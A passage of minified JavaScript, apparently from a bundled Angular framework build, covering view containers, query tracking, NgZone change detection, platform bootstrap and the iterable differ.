Sn(e[N1])}(r)){const $e=this.indexOf(t);if(-1!==$e)this.detach($e);else{const ft=r[N1],zt=new n9(ft,ft[V1],ft[N1]);zt.detach(zt.indexOf(t))}}const l=this._adjustIndex(i),v=this._lContainer;!function Jo(e,t,i,r){const o=ln+r,l=i.length;r>0&&(i[o-1][Y1]=t),r<l-ln?(t[Y1]=i[o],Sr(i,ln+r,t)):(i.push(t),t[Y1]=null),t[N1]=i;const v=t[Pn];null!==v&&i!==v&&function Xo(e,t){const i=e[Nn];t[X1]!==t[N1][N1][X1]&&(e[di]=!0),null===i?e[Nn]=[t]:i.push(t)}(v,t);const F=t[An];null!==F&&F.insertView(e),t[h1]|=64}(o,r,v,l);const F=s4(l,v),Y=r[D1],me=lo(Y,v[ri]);return null!==me&&function Zo(e,t,i,r,o,l){r[w1]=o,r[V1]=t,ws(e,r,i,1,o,l)}(o,v[V1],Y,r,me,F),t.attachToViewContainerRef(),Sr(m7(v),l,t),t}move(t,i){return this.insert(t,i)}indexOf(t){const i=i9(this._lContainer);return null!==i?i.indexOf(t):-1}remove(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);r&&(X2(m7(this._lContainer),i),ro(r[Qt],r))}detach(t){const i=this._adjustIndex(t,-1),r=xs(this._lContainer,i);return r&&null!=X2(m7(this._lContainer),i)?new Os(r):null}_adjustIndex(t,i=0){return t??this.length+i}};function i9(e){return e[_i]}function m7(e){return e[_i]||(e[_i]=[])}function r9(e,t){let i;const r=t[e.index];if(Sn(r))i=r;else{let o;if(8&e.type)o=en(r);else{const l=t[D1];o=l.createComment("");const v=_n(e,t);Tr(l,lo(l,v),o,function zc(e,t){return e.nextSibling(t)}(l,v),!1)}t[e.index]=i=P6(r,t,o,e),xo(t,i)}return new n9(i,e,t)}class g7{constructor(t){this.queryList=t,this.matches=null}clone(){return new g7(this.queryList)}setDirty(){this.queryList.setDirty()}}class v7{constructor(t=[]){this.queries=t}createEmbeddedView(t){const i=t.queries;if(null!==i){const r=null!==t.contentQueries?t.contentQueries[0]:i.length,o=[];for(let l=0;l<r;l++){const v=i.getByIndex(l);o.push(this.queries[v.indexInDeclarationView].clone())}return new v7(o)}return null}insertView(t){this.dirtyQueriesWithMatches(t)}detachView(t){this.dirtyQueriesWithMatches(t)}dirtyQueriesWithMatches(t){for(let i=0;i<this.queries.length;i++)null!==f9(t,i).matches&&this.queries[i].setDirty()}}class a9{constructor(t,i,r=null){this.predicate=t,this.flags=i,this.read=r}}class _7{constructor(t=[]){this.queries=t}elementStart(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].elementStart(t,i)}elementEnd(t){for(let i=0;i<this.queries.length;i++)this.queries[i].elementEnd(t)}embeddedTView(t){let i=null;for(let r=0;r<this.length;r++){const o=null!==i?i.length:0,l=this.getByIndex(r).embeddedTView(t,o);l&&(l.indexInDeclarationView=r,null!==i?i.push(l):i=[l])}return null!==i?new _7(i):null}template(t,i){for(let r=0;r<this.queries.length;r++)this.queries[r].template(t,i)}getByIndex(t){return this.queries[t]}get length(){return this.queries.length}track(t){this.queries.push(t)}}class y7{constructor(t,i=-1){this.metadata=t,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=i}elementStart(t,i){this.isApplyingToNode(i)&&this.matchTNode(t,i)}elementEnd(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}template(t,i){this.elementStart(t,i)}embeddedTView(t,i){return this.isApplyingToNode(t)?(this.crossesNgTemplate=!0,this.addMatch(-t.index,i),new y7(this.metadata)):null}isApplyingToNode(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){const i=this._declarationNodeIndex;let r=t.parent;for(;null!==r&&8&r.type&&r.index!==i;)r=r.parent;return i===(null!==r?r.index:-1)}return this._appliesToNextNode}matchTNode(t,i){const r=this.metadata.predicate;if(Array.isArray(r))for(let o=0;o<r.length;o++){const l=r[o];this.matchTNodeWithReadOption(t,i,_h(i,l)),this.matchTNodeWithReadOption(t,i,Jn(i,t,l,!1,!1))}else r===S3?4&i.type&&this.matchTNodeWithReadOption(t,i,-1):this.matchTNodeWithReadOption(t,i,Jn(i,t,r,!1,!1))}matchTNodeWithReadOption(t,i,r){if(null!==r){const o=this.metadata.read;if(null!==o)if(o===Ts||o===bc||o===S3&&4&i.type)this.addMatch(i.index,-2);else{const l=Jn(i,t,o,!1,!1);null!==l&&this.addMatch(i.index,l)}else this.addMatch(i.index,r)}}addMatch(t,i){null===this.matches?this.matches=[t,i]:this.matches.push(t,i)}}function _h(e,t){const i=e.localNames;if(null!==i)for(let r=0;r<i.length;r+=2)if(i[r]===t)return i[r+1];return null}function bh(e,t,i,r){return-1===i?function yh(e,t){return 11&e.type?Va(e,t):4&e.type?yc(e,t):null}(t,e):-2===i?function Ch(e,t,i){return i===Ts?Va(t,e):i===S3?yc(t,e):i===bc?r9(t,e):void 0}(e,t,r):k2(e,e[Qt],i,t)}function s9(e,t,i,r){const o=t[An].queries[r];if(null===o.matches){const l=e.data,v=i.matches,F=[];for(let Y=0;Y<v.length;Y+=2){const me=v[Y];F.push(me<0?null:bh(t,l[me],v[Y+1],i.metadata.read))}o.matches=F}return o.matches}function b7(e,t,i,r){const o=e.queries.getByIndex(i),l=o.matches;if(null!==l){const v=s9(e,t,o,i);for(let F=0;F<l.length;F+=2){const Y=l[F];if(Y>0)r.push(v[F/2]);else{const me=l[F+1],$e=t[-Y];for(let ft=ln;ft<$e.length;ft++){const zt=$e[ft];zt[Pn]===zt[N1]&&b7(zt[Qt],zt,me,r)}if(null!==$e[Nn]){const ft=$e[Nn];for(let zt=0;zt<ft.length;zt++){const Nt=ft[zt];b7(Nt[Qt],Nt,me,r)}}}}}return r}function o9(e){const t=Tt(),i=t1(),r=F1();A1(r+1);const o=f9(i,r);if(e.dirty&&function v2(e){return 4==(4&e[h1])}(t)===(2==(2&o.metadata.flags))){if(null===o.matches)e.reset([]);else{const l=o.crossesNgTemplate?b7(i,t,r,[]):s9(i,t,o,r);e.reset(l,bl),e.notifyOnChanges()}return!0}return!1}function c9(e,t,i){const r=t1();r.firstCreatePass&&(h9(r,new a9(e,t,i),-1),2==(2&t)&&(r.staticViewQueries=!0)),u9(r,Tt(),t)}function l9(e,t,i,r){const o=t1();if(o.firstCreatePass){const l=W1();h9(o,new a9(t,i,r),l.index),function xh(e,t){const i=e.contentQueries||(e.contentQueries=[]);t!==(i.length?i[i.length-1]:-1)&&i.push(e.queries.length-1,t)}(o,e),2==(2&i)&&(o.staticContentQueries=!0)}u9(o,Tt(),i)}function d9(){return function Mh(e,t){return e[An].queries[t].queryList}(Tt(),F1())}function u9(e,t,i){const r=new _c(4==(4&i));L6(e,t,r,r.destroy),null===t[An]&&(t[An]=new v7),t[An].queries.push(new g7(r))}function h9(e,t,i){null===e.queries&&(e.queries=new _7),e.queries.track(new y7(t,i))}function f9(e,t){return e.queries.getByIndex(t)}function p9(e,t){return yc(e,t)}function C7(e){return!!ke(e)}const Gh=dr("Input",e=>({bindingPropertyName:e})),jh=dr("Output",e=>({bindingPropertyName:e}));function Mc(...e){}const k9=new yn("Application Initializer");let xc=(()=>{class e{constructor(i){this.appInits=i,this.resolve=Mc,this.reject=Mc,this.initialized=!1,this.done=!1,this.donePromise=new Promise((r,o)=>{this.resolve=r,this.reject=o})}runInitializers(){if(this.initialized)return;const i=[],r=()=>{this.done=!0,this.resolve()};if(this.appInits)for(let o=0;o<this.appInits.length;o++){const l=this.appInits[o]();if(r3(l))i.push(l);else if(u0(l)){const v=new Promise((F,Y)=>{l.subscribe({complete:F,error:Y})});i.push(v)}}Promise.all(i).then(()=>{r()}).catch(o=>{this.reject(o)}),0===i.length&&r(),this.initialized=!0}}return e.\\u0275fac=function(i){return new(i||e)(Pe(k9,8))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const O9=new yn("AppId",{providedIn:"root",factory:function I9(){return`${A7()}${A7()}${A7()}`}});function A7(){return String.fromCharCode(97+Math.floor(25*Math.random()))}const R9=new yn("Platform Initializer"),Yh=new yn("Platform ID",{providedIn:"platform",factory:()=>"unknown"}),Wh=new yn("AnimationModuleType");let $h=(()=>{class e{log(i){console.log(i)}warn(i){console.warn(i)}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const Dc=new yn("LocaleId",{providedIn:"root",factory:()=>Ue(Dc,Ie.Optional|Ie.SkipSelf)||function Kh(){return typeof $localize<"u"&&$localize.locale||ts}()}),Zh=new yn("DefaultCurrencyCode",{providedIn:"root",factory:()=>"USD"});class Qh{constructor(t,i){this.ngModuleFactory=t,this.componentFactories=i}}let qh=(()=>{class e{compileModuleSync(i){return new u7(i)}compileModuleAsync(i){return Promise.resolve(this.compileModuleSync(i))}compileModuleAndAllComponentsSync(i){const r=this.compileModuleSync(i),l=Or(ke(i).declarations).reduce((v,F)=>{const Y=O(F);return Y&&v.push(new Is(Y)),v},[]);return new Qh(r,l)}compileModuleAndAllComponentsAsync(i){return Promise.resolve(this.compileModuleAndAllComponentsSync(i))}clearCache(){}clearCacheFor(i){}getModuleId(i){}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();const ef=(()=>Promise.resolve(0))();function S7(e){typeof Zone>"u"?ef.then(()=>{e&&e.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",e)}class yr{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:i=!1,shouldCoalesceRunChangeDetection:r=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new Qr(!1),this.onMicrotaskEmpty=new Qr(!1),this.onStable=new Qr(!1),this.onError=new Qr(!1),typeof Zone>"u")throw new Q(908,!1);Zone.assertZonePatched();const o=this;o._nesting=0,o._outer=o._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(o._inner=o._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(o._inner=o._inner.fork(Zone.longStackTraceZoneSpec)),o.shouldCoalesceEventChangeDetection=!r&&i,o.shouldCoalesceRunChangeDetection=r,o.lastRequestAnimationFrameId=-1,o.nativeRequestAnimationFrame=function tf(){let e=ie.requestAnimationFrame,t=ie.cancelAnimationFrame;if(typeof Zone<"u"&&e&&t){const i=e[Zone.__symbol__("OriginalDelegate")];i&&(e=i);const r=t[Zone.__symbol__("OriginalDelegate")];r&&(t=r)}return{nativeRequestAnimationFrame:e,nativeCancelAnimationFrame:t}}().nativeRequestAnimationFrame,function af(e){const t=()=>{!function rf(e){e.isCheckStableRunning||-1!==e.lastRequestAnimationFrameId||(e.lastRequestAnimationFrameId=e.nativeRequestAnimationFrame.call(ie,()=>{e.fakeTopEventTask||(e.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{e.lastRequestAnimationFrameId=-1,z7(e),e.isCheckStableRunning=!0,E7(e),e.isCheckStableRunning=!1},void 0,()=>{},()=>{})),e.fakeTopEventTask.invoke()}),z7(e))}(e)};e._inner=e._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(i,r,o,l,v,F)=>{try{return N9(e),i.invokeTask(o,l,v,F)}finally{(e.shouldCoalesceEventChangeDetection&&"eventTask"===l.type||e.shouldCoalesceRunChangeDetection)&&t(),H9(e)}},onInvoke:(i,r,o,l,v,F,Y)=>{try{return N9(e),i.invoke(o,l,v,F,Y)}finally{e.shouldCoalesceRunChangeDetection&&t(),H9(e)}},onHasTask:(i,r,o,l)=>{i.hasTask(o,l),r===o&&("microTask"==l.change?(e._hasPendingMicrotasks=l.microTask,z7(e),E7(e)):"macroTask"==l.change&&(e.hasPendingMacrotasks=l.macroTask))},onHandleError:(i,r,o,l)=>(i.handleError(o,l),e.runOutsideAngular(()=>e.onError.emit(l)),!1)})}(o)}static isInAngularZone(){return typeof Zone<"u"&&!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!yr.isInAngularZone())throw new Q(909,!1)}static assertNotInAngularZone(){if(yr.isInAngularZone())throw new Q(909,!1)}run(t,i,r){return this._inner.run(t,i,r)}runTask(t,i,r,o){const l=this._inner,v=l.scheduleEventTask("NgZoneEvent: "+o,t,nf,Mc,Mc);try{return l.runTask(v,i,r)}finally{l.cancelTask(v)}}runGuarded(t,i,r){return this._inner.runGuarded(t,i,r)}runOutsideAngular(t){return this._outer.run(t)}}const nf={};function E7(e){if(0==e._nesting&&!e.hasPendingMicrotasks&&!e.isStable)try{e._nesting++,e.onMicrotaskEmpty.emit(null)}finally{if(e._nesting--,!e.hasPendingMicrotasks)try{e.runOutsideAngular(()=>e.onStable.emit(null))}finally{e.isStable=!0}}}function z7(e){e.hasPendingMicrotasks=!!(e._hasPendingMicrotasks||(e.shouldCoalesceEventChangeDetection||e.shouldCoalesceRunChangeDetection)&&-1!==e.lastRequestAnimationFrameId)}function N9(e){e._nesting++,e.isStable&&(e.isStable=!1,e.onUnstable.emit(null))}function H9(e){e._nesting--,E7(e)}class sf{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new Qr,this.onMicrotaskEmpty=new Qr,this.onStable=new Qr,this.onError=new Qr}run(t,i,r){return t.apply(i,r)}runGuarded(t,i,r){return t.apply(i,r)}runOutsideAngular(t){return t()}runTask(t,i,r,o){return t.apply(i,r)}}const V9=new yn(""),B9=new yn("");let T7,cf=(()=>{class e{constructor(i,r,o){this._ngZone=i,this.registry=r,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,T7||(function lf(e){T7=e}(o),o.addToWindow(r)),this._watchAngularEvents(),i.run(()=>{this.taskTrackingZone=typeof Zone>"u"?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{yr.assertNotInAngularZone(),S7(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())S7(()=>{for(;0!==this._callbacks.length;){let i=this._callbacks.pop();clearTimeout(i.timeoutId),i.doneCb(this._didWork)}this._didWork=!1});else{let i=this.getPendingTasks();this._callbacks=this._callbacks.filter(r=>!r.updateCb||!r.updateCb(i)||(clearTimeout(r.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(i=>({source:i.source,creationLocation:i.creationLocation,data:i.data})):[]}addCallback(i,r,o){let l=-1;r&&r>0&&(l=setTimeout(()=>{this._callbacks=this._callbacks.filter(v=>v.timeoutId!==l),i(this._didWork,this.getPendingTasks())},r)),this._callbacks.push({doneCb:i,timeoutId:l,updateCb:o})}whenStable(i,r,o){if(o&&!this.taskTrackingZone)throw new Error(\'Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?\');this.addCallback(i,r,o),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}registerApplication(i){this.registry.registerApplication(i,this)}unregisterApplication(i){this.registry.unregisterApplication(i)}findProviders(i,r,o){return[]}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(U9),Pe(B9))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac}),e})(),U9=(()=>{class e{constructor(){this._applications=new Map}registerApplication(i,r){this._applications.set(i,r)}unregisterApplication(i){this._applications.delete(i)}unregisterAllApplications(){this._applications.clear()}getTestability(i){return this._applications.get(i)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(i,r=!0){return T7?.findTestabilityInTree(this,i,r)??null}}return e.\\u0275fac=function(i){return new(i||e)},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();const wa=!1;let ns=null;const G9=new yn("AllowMultipleToken"),L7=new yn("PlatformDestroyListeners"),j9=new yn("appBootstrapListener");class hf{constructor(t,i){this.name=t,this.token=i}}function W9(e,t,i=[]){const r=`Platform: ${t}`,o=new yn(r);return(l=[])=>{let v=k7();if(!v||v.injector.get(G9,!1)){const F=[...i,...l,{provide:o,useValue:!0}];e?e(F):function ff(e){if(ns&&!ns.get(G9,!1))throw new Q(400,!1);ns=e;const t=e.get(K9);(function Y9(e){const t=e.get(R9,null);t&&t.forEach(i=>i())})(e)}(function $9(e=[],t){return ba.create({name:t,providers:[{provide:C4,useValue:"platform"},{provide:L7,useValue:new Set([()=>ns=null])},...e]})}(F,r))}return function mf(e){const t=k7();if(!t)throw new Q(401,!1);return t}()}}function k7(){return ns?.get(K9)??null}let K9=(()=>{class e{constructor(i){this._injector=i,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(i,r){const o=function Q9(e,t){let i;return i="noop"===e?new sf:("zone.js"===e?void 0:e)||new yr(t),i}(r?.ngZone,function Z9(e){return{enableLongStackTrace:!1,shouldCoalesceEventChangeDetection:!(!e||!e.ngZoneEventCoalescing)||!1,shouldCoalesceRunChangeDetection:!(!e||!e.ngZoneRunCoalescing)||!1}}(r)),l=[{provide:yr,useValue:o}];return o.run(()=>{const v=ba.create({providers:l,parent:this.injector,name:i.moduleType.name}),F=i.create(v),Y=F.injector.get(Ls,null);if(!Y)throw new Q(402,!1);return o.runOutsideAngular(()=>{const me=o.onError.subscribe({next:$e=>{Y.handleError($e)}});F.onDestroy(()=>{Ac(this._modules,F),me.unsubscribe()})}),function q9(e,t,i){try{const r=i();return r3(r)?r.catch(o=>{throw t.runOutsideAngular(()=>e.handleError(o)),o}):r}catch(r){throw t.runOutsideAngular(()=>e.handleError(r)),r}}(Y,o,()=>{const me=F.injector.get(xc);return me.runInitializers(),me.donePromise.then(()=>(function ac(e){De(e,"Expected localeId to be defined"),"string"==typeof e&&(rc=e.toLowerCase().replace(/_/g,"-"))}(F.injector.get(Dc,ts)||ts),this._moduleDoBootstrap(F),F))})})}bootstrapModule(i,r=[]){const o=J9({},r);return function df(e,t,i){const r=new u7(i);return Promise.resolve(r)}(0,0,i).then(l=>this.bootstrapModuleFactory(l,o))}_moduleDoBootstrap(i){const r=i.injector.get(wc);if(i._bootstrapComponents.length>0)i._bootstrapComponents.forEach(o=>r.bootstrap(o));else{if(!i.instance.ngDoBootstrap)throw new Q(-403,!1);i.instance.ngDoBootstrap(r)}this._modules.push(i)}onDestroy(i){this._destroyListeners.push(i)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new Q(404,!1);this._modules.slice().forEach(r=>r.destroy()),this._destroyListeners.forEach(r=>r());const i=this._injector.get(L7,null);i&&(i.forEach(r=>r()),i.clear()),this._destroyed=!0}get destroyed(){return this._destroyed}}return e.\\u0275fac=function(i){return new(i||e)(Pe(ba))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"platform"}),e})();function J9(e,t){return Array.isArray(t)?t.reduce(J9,e):{...e,...t}}let wc=(()=>{class e{get destroyed(){return this._destroyed}get injector(){return this._injector}constructor(i,r,o){this._zone=i,this._injector=r,this._exceptionHandler=o,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this._destroyed=!1,this._destroyListeners=[],this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:()=>{this._zone.run(()=>{this.tick()})}});const l=new s.y(F=>{this._stable=this._zone.isStable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks,this._zone.runOutsideAngular(()=>{F.next(this._stable),F.complete()})}),v=new s.y(F=>{let Y;this._zone.runOutsideAngular(()=>{Y=this._zone.onStable.subscribe(()=>{yr.assertNotInAngularZone(),S7(()=>{!this._stable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks&&(this._stable=!0,F.next(!0))})})});const me=this._zone.onUnstable.subscribe(()=>{yr.assertInAngularZone(),this._stable&&(this._stable=!1,this._zone.runOutsideAngular(()=>{F.next(!1)}))});return()=>{Y.unsubscribe(),me.unsubscribe()}});this.isStable=(0,u.T)(l,v.pipe((0,c.B)()))}bootstrap(i,r){const o=i instanceof w4;if(!this._injector.get(xc).done){!o&&$(i);throw new Q(405,wa)}let v;v=o?i:this._injector.get(zs).resolveComponentFactory(i),this.componentTypes.push(v.componentType);const F=function uf(e){return e.isBoundToModule}(v)?void 0:this._injector.get(Go),me=v.create(ba.NULL,[],r||v.selector,F),$e=me.location.nativeElement,ft=me.injector.get(V9,null);return ft?.registerApplication($e),me.onDestroy(()=>{this.detachView(me.hostView),Ac(this.components,me),ft?.unregisterApplication($e)}),this._loadComponent(me),me}tick(){if(this._runningTick)throw new Q(101,!1);try{this._runningTick=!0;for(let i of this._views)i.detectChanges()}catch(i){this._zone.runOutsideAngular(()=>this._exceptionHandler.handleError(i))}finally{this._runningTick=!1}}attachView(i){const r=i;this._views.push(r),r.attachToAppRef(this)}detachView(i){const r=i;Ac(this._views,r),r.detachFromAppRef()}_loadComponent(i){this.attachView(i.hostView),this.tick(),this.components.push(i);const r=this._injector.get(j9,[]);r.push(...this._bootstrapListeners),r.forEach(o=>o(i))}ngOnDestroy(){if(!this._destroyed)try{this._destroyListeners.forEach(i=>i()),this._views.slice().forEach(i=>i.destroy()),this._onMicrotaskEmptySubscription.unsubscribe()}finally{this._destroyed=!0,this._views=[],this._bootstrapListeners=[],this._destroyListeners=[]}}onDestroy(i){return this._destroyListeners.push(i),()=>Ac(this._destroyListeners,i)}destroy(){if(this._destroyed)throw new Q(406,!1);const i=this._injector;i.destroy&&!i.destroyed&&i.destroy()}get viewCount(){return this._views.length}warnIfDestroyed(){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(yr),Pe(ya),Pe(Ls))},e.\\u0275prov=Be({token:e,factory:e.\\u0275fac,providedIn:"root"}),e})();function Ac(e,t){const i=e.indexOf(t);i>-1&&e.splice(i,1)}function vf(){}let _f=(()=>{class e{}return e.__NG_ELEMENT_ID__=yf,e})();function yf(e){return function bf(e,t,i){if(Hn(e)&&!i){const r=Vn(e.index,t);return new Os(r,r)}return 47&e.type?new Os(t[X1],t):null}(W1(),Tt(),16==(16&e))}class iu{constructor(){}supports(t){return Eo(t)}create(t){return new Af(t)}}const wf=(e,t)=>t;class Af{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||wf}forEachItem(t){let i;for(i=this._itHead;null!==i;i=i._next)t(i)}forEachOperation(t){let i=this._itHead,r=this._removalsHead,o=0,l=null;for(;i||r;){const v=!r||i&&i.currentIndex<au(r,o,l)?i:r,F=au(v,o,l),Y=v.currentIndex;if(v===r)o--,r=r._nextRemoved;else if(i=i._next,null==v.previousIndex)o++;else{l||(l=[]);const me=F-o,$e=Y-o;if(me!=$e){for(let zt=0;zt<me;zt++){const Nt=zt<l.length?l[zt]:l[zt]=0,Kt=Nt+zt;$e<=Kt&&Kt<me&&(l[zt]=Nt+1)}l[v.previousIndex]=$e-me}}F!==Y&&t(v,F,Y)}}forEachPreviousItem(t){let i;for(i=this._previousItHead;null!==i;i=i._nextPrevious)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachMovedItem(t){let i;for(i=this._movesHead;null!==i;i=i._nextMoved)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}forEachIdentityChange(t){let i;for(i=this._identityChangesHead;null!==i;i=i._nextIdentityChange)t(i)}diff(t){if(null==t&&(t=[]),!Eo(t))throw new Q(900,!1);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let o,l,v,i=this._itHead,r=!1;if(Array.isArray(t)){this.length=t.length;for(let F=0;F<this.length;F++)l=t[F],v=this._trackByFn(F,l),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,l,v,F)),Object.is(i.item,l)||this._addIdentityChange(i,l)):(i=this._mismatch(i,l,v,F),r=!0),i=i._next}else o=0,function J8(e,t){if(Array.isArray(e))for(let i=0;i<e.length;i++)t(e[i]);else{const i=e[Symbol.iterator]();let r;for(;!(r=i.next()).done;)t(r.value)}}(t,F=>{v=this._trackByFn(o,F),null!==i&&Object.is(i.trackById,v)?(r&&(i=this._verifyReinsertion(i,F,v,o)),Object.is(i.item,F)||this._addIdentityChange(i,F)):(i=this._mismatch(i,F,v,o),r=!0),i=i._next,o++}),this.length=o;return this._truncate(i),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,i,r,o){let l;return null===t?l=this._itTail:(l=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._reinsertAfter(t,l,o)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(r,o))?(Object.is(t.item,i)||this._addIdentityChange(t,i),this._moveAfter(t,l,o)):t=this._addAfter(new Sf(i,r),l,o),t}_verifyReinsertion(t,i,r,o){let l=null===this._unlinkedRecords?null:this._unlinkedRecords.get(r,null);return null!==l?t=this._reinsertAfter(l,t._prev,o):t.currentIndex!=o&&(t.currentIndex=o,this._addToMoves(t,o)),t}_truncate(t){for(;null!==t;){const i=t._next;this._addToRemovals(this._unlink(t)),t=i}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,i,r){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const o=t._prevRemoved,l=t._nextRemoved;return null===o?this._removalsHead=l:o._nextRemoved=l,null===l?this._removalsTail=o:l._prevRemoved=o,this._insertAfter(t,i,r),this._addToMoves(t,r),t}_moveAfter(t,i,r){return this._unlink(t),this._insertAfter(t,i,r),this._addToMoves(t,r),t}_addAfter(t,i,r){return this._insertAfter(t,i,r),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,i,r){const o=null===i?this._itHead:i._next;return t._next=o,t._prev=i,null===o?this._itTail=t:o._prev=t,null===i?this._itHead=t:i._next=t,null===this._linkedRecords&&(this._linkedRecords=new ru),this._linkedRecords.put(t),t.currentIndex=r,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const i=t._prev,r=t._next;return null===i?this._itHead=r:i._next=r,null===r?this._itTail=i:r._prev=i,t}_addToMoves(t,i){return t.previousIndex===i||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new ru),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,i){return t.item=i,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class Sf{constructor(t,i){this.item=t,this.trackById=i,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class Ef{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,i){let r;for(r=this._head;null!==r;r=r._nextDup)if((null===i||i<=r.currentIndex)&&Object.is(r.trackById,t))return r;return null}remove(t){const i=t._prevDup,r=t._nextDup;return null===i?this._head=r:i._nextDup=r,null===r?this._tail=i:r._prevDup=i,null===this._head}}class ru{constructor(){this.map=new Map}put(t){const i=t.trackById;let r=this.map.get(i);r||(r=new Ef,this.map.set(i,r)),r.add(t)}get(t,i){const o=this.map.get(t);return o?o.get(t,i):null}remove(t){const i=t.trackById;return this.map.get(i).remove(t)&&this.map.delete(i),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function au(e,t,i){const r=e.previousIndex;if(null===r)return r;let o=0;return 